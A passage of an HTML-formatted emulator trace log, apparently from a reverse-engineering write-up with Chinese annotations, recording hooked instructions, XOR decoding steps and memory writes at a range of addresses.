class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100149b]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100149b]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100149b]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100149b]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100149b]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100149b]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x100149b]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100149b]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x36</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010004a6: mov esi, <span class="number">0</span>x1f</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010004ab: mov esi, <span class="number">0</span>xae4c415d</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x010004d4: cmp esi, <span class="number">0</span>x3f</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3e ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3f ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x12</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01001286: mov esi, <span class="number">0</span>x15</span><br><span class="line"><span class="selector-attr">[XOR @0x100129a]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x010012a0: cmp esi, <span class="number">0</span>x2b</span><br><span class="line"><span class="selector-attr">[XOR @0x100129a]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x100129a]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x100129a]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100129a]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100129a]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100129a]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100129a]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100129a]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100129a]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100129a]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100129a]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100129a]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100129a]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100129a]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100129a]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x100129a]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100129a]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100129a]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100129a]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100129a]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100129a]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x40</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01001052: mov esi, <span class="number">0</span>xe</span><br><span class="line"><span class="selector-attr">[XOR @0x1001066]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x0100106c: cmp esi, <span class="number">0</span>x1d</span><br><span class="line"><span class="selector-attr">[XOR @0x1001066]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1001066]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001066]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1001066]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1001066]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001066]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001066]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1001066]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001066]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1001066]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1001066]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001066]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1001066]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1001066]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x0E</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000d5b: mov esi, <span class="number">0</span>x2a</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000d75: cmp esi, <span class="number">0</span>x55</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d6f]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span 